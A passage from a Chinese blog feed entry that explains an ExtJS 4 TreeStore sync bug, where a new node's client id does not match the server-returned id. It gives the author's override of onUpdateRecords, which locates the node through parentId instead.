		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; i &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; length&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;++&lt;/span&gt;i&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			record &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; records&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;i&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
			original &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; me.&lt;span style=&quot;color: #660066;&quot;&gt;tree&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getNodeById&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record.&lt;span style=&quot;color: #660066;&quot;&gt;getId&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
			parentNode &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; original.&lt;span style=&quot;color: #660066;&quot;&gt;parentNode&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
			&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;parentNode&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
				&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;// prevent being added to the removed cache&lt;/span&gt;
				original.&lt;span style=&quot;color: #660066;&quot;&gt;isReplace&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
				parentNode.&lt;span style=&quot;color: #660066;&quot;&gt;replaceChild&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; original&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
				original.&lt;span style=&quot;color: #660066;&quot;&gt;isReplace&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
			&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
            &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;服务器端返回的JSON格式是这样的：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;success&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; data&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;id&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #CC0000;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; text&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;'新节点'&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; leaf&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; parentId&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #CC0000;&quot;&gt;90&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;我觉得这个方法应该是在返回的JSON中success为true时，将data中的数据逐一替换掉UI上相应的节点（因为新节点先在UI上出现，然后才同步到服务器），而这时候“original = me.tree.getNodeById(record.getId())”却始终找不到相应的节点，为什么呢？我想是这样的：&lt;br /&gt;
添加节点的代码是：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;var&lt;/span&gt; node &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;text&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;'新节点'&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; leaf&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
parentNode.&lt;span style=&quot;color: #660066;&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;node&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
store.&lt;span style=&quot;color: #660066;&quot;&gt;sync&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;当“parentNode.appendChild(node);”执行完毕，UI上便出现了新增加的node，而且store中也多出了一条记录，当sync()被执行并接收到服务器端返回到JSON，便开始执行onUpdateRecords方法了，而这时候，UI上那个node的id默认是“0”，而服务器端返回的数据中id是“100”，所以就找不到了！这样一想，官方的这个是不是有点太不符合逻辑了？返回的JSON中不是有parentId吗！直接用它找到父节点，再通过父节点找到其下最后一个子节点（这个就是新添加的节点）然后替换之。想明白了，开始动手override一下源码中到这个方法。&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;Ext.&lt;span style=&quot;color: #660066;&quot;&gt;override&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;Ext.&lt;span style=&quot;color: #660066;&quot;&gt;data&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;TreeStore&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	onUpdateRecords&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;records&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; operation&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; success&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;success&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;var&lt;/span&gt; me &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
			i &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC0000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
			length &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; records.&lt;span style=&quot;color: #660066;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
			data &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; me.&lt;span style=&quot;color: #660066;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
			original&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
			parentNode&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
			record&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
			&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; i &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; length&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;++&lt;/span&gt;i&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
				record &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; records&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;i&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
				parentNode &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; me.&lt;span style=&quot;color: #660066;&quot;&gt;tree&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getNodeById&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record.&lt;span style=&quot;color: #660066;&quot;&gt;data&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;parentId&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
				original &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; parentNode.&lt;span style=&quot;color: #660066;&quot;&gt;lastChild&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
				&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;parentNode&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
					&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;// prevent being added to the removed cache&lt;/span&gt;
					original.&lt;span style=&quot;color: #660066;&quot;&gt;isReplace&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
					parentNode.&lt;span style=&quot;color: #660066;&quot;&gt;replaceChild&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; original&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
					original.&lt;span style=&quot;color: #660066;&quot;&gt;isReplace&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
					&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
				&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
				&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record.&lt;span style=&quot;color: #660066;&quot;&gt;dirty&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		                	record.&lt;span style=&quot;color: #660066;&quot;&gt;commit&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		        	&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
			&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;再把程序跑起来看看，没问题了！网上竟然没找到相关信息，难道就我遇到了？&lt;/p&gt;
&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;将JavaBean及List集合转换为JSON&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F875%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;将JavaBean及List集合转换为JSON&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;拆迁&amp;amp;告别&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1164%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/06/27/14537031.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;拆迁&amp;amp;告别&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;JavaScript变量作用域&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1186%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8529867.bmp&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;JavaScript变量作用域&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Ext DatePicker大小自适应&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1138%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/09/8070158.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Ext DatePicker大小自适应&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;ExtJS GridPanel动态列&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F923%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/06/7706736.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;ExtJS GridPanel动态列&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716109/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716109/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</content:encoded><wfw:commentRss>http://www.ineeke.com/archives/1410/feed/</wfw:commentRss><slash:comments>0</slash:comments><description>最近又开始写ExtJS了，用的是最新版本ExtJS4.0.7，这玩意现在也开始搞MVC分层了，了解了一下感觉还不错！以前使用2.X系列的时候虽然也自己定义并规范化了一些，但是整体代码感觉有些乱，界面和事件处理以及数据都在一起，而且扩展起来也不太方便，现在使用这种MVC的方式确实不错！ 由于有半年多没接触过ExtJS了，现在不光分了MVC而且，API也有不小的变化，消失了一些类又多了一些类，不过还是挺好上手的，也许是因为以前用过吧。下面说说这几天在使用TreeStore遇到的一个问题。 情景是这样的：在已有的树上增加一个节点，然后执行TreeStore的sync()方法与服务器进行同步后报错“original is undefined”。 这个操作完成后，树上（界面）已经添加成功，查看数据库也一样是成功添加了，服务器返回的JSON也没有问题，可是它就是报错！检查发现，这个错出现在TreeStore源码的onUpdateRecords方法中的“parentNode = original.parentNode;”这一句上。源码如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 onUpdateRecords: function&amp;#40;records, operation, success&amp;#41;&amp;#123; if &amp;#40;success&amp;#41; &amp;#123; var me = this, i = 0, length = records.length, data = me.data, original, parentNode, record; for [...]&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;将JavaBean及List集合转换为JSON&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F875%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;将JavaBean及List集合转换为JSON&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;为绝版电影《毒咒》入侵服务器&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F865%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/08/7982035.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;为绝版电影《毒咒》入侵服务器&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;二十几岁必须看透的50个人生谬误&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1113%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/09/8067256.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;二十几岁必须看透的50个人生谬误&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;JavaScript原始数据类型包装对象&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1184%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
